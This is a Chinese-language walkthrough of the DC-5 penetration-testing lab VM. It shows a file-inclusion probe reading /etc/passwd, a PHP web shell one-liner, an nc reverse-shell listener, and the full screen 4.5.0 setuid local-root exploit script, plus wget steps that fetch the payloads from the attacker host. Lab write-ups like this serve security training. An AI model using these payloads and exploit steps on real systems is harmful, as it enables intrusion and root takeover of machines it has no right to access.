首页
学习
活动
专区
圈层
工具
发布

靶机渗透DC-5

扫到IP之后访问网站。

001

随便翻翻,只有contact模块有留言板。

002

dirsearch扫描一波,没什么发现。

003

那就还是在留言板找找。

随便写点什么,提交。

004

观察一下url。

代码语言:javascript
复制
http://192.168.70.161/thankyou.php?firstname=xsa&lastname=xsax&country=britain&subject=xsa

提交的参数是直接拼接在url后面而且什么变化也没有,那要是构造file呢?

代码语言:javascript
复制
http://192.168.70.161/thankyou.php?file=/etc/passwd

005

找到突破点了!

然后利用nc监听反弹Shell

代码语言:javascript
复制
nc -lnvp 444
<?php system($_GET['cmd']); ?>

006
006

然后python获得交互式Shell

代码语言:javascript
复制
python -c "import pty;pty.spawn('/bin/bash')"

007
代码语言:javascript
复制
find / -perm -u=s -type f 2>/dev/null

看看root权限的命令都有什么。

008

screen有点奇怪,msf搜索一下。

009
代码语言:javascript
复制
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c                                                                                                                                                                                    
#include <stdio.h>                                                                                                                                                                                               
int main(void){                                                                                                                                                                                                  
    setuid(0);                                                                                                                                                                                                   
    setgid(0);                                                                                                                                                                                                   
    seteuid(0);                                                                                                                                                                                                  
    setegid(0);                                                                                                                                                                                                  
    execvp("/bin/sh", NULL, NULL);                                                                                                                                                                               
}                                                                                                                                                                                                                
EOF                                                                                                                                                                                                              
gcc -o /tmp/rootshell /tmp/rootshell.c                                                                                                                                                                           
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 

跟着POC走呗。

编辑三个文件。

010
011

最好在/tmp/目录下创建,待会要用到。

代码语言:javascript
复制
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o rootshell rootshell.c
rm -f /tmp/libhax.c
rm -f /tmp/rootshell.c

然后执行这四条语句,编译文件以及删除原文件。

012
013

然后用Python传输文件。

代码语言:javascript
复制
python -m SimpleHTTPServer 8001

注意,Shell需要进入/tmp/目录下,同时kali也是在/tmp/目录下开启服务,否则传输会找不到文件。

代码语言:javascript
复制
wget http://192.168.70.154:8001/libhax.so
wget http://192.168.70.154:8221/rootshell 
wget http://192.168.70.154:8001/41154.sh

014

把这三个文件传输过来,然后赋予权限。

015

最后一步执行41154.sh

016
017

成功提权为root!

018

拿到flag!

下一篇
举报
领券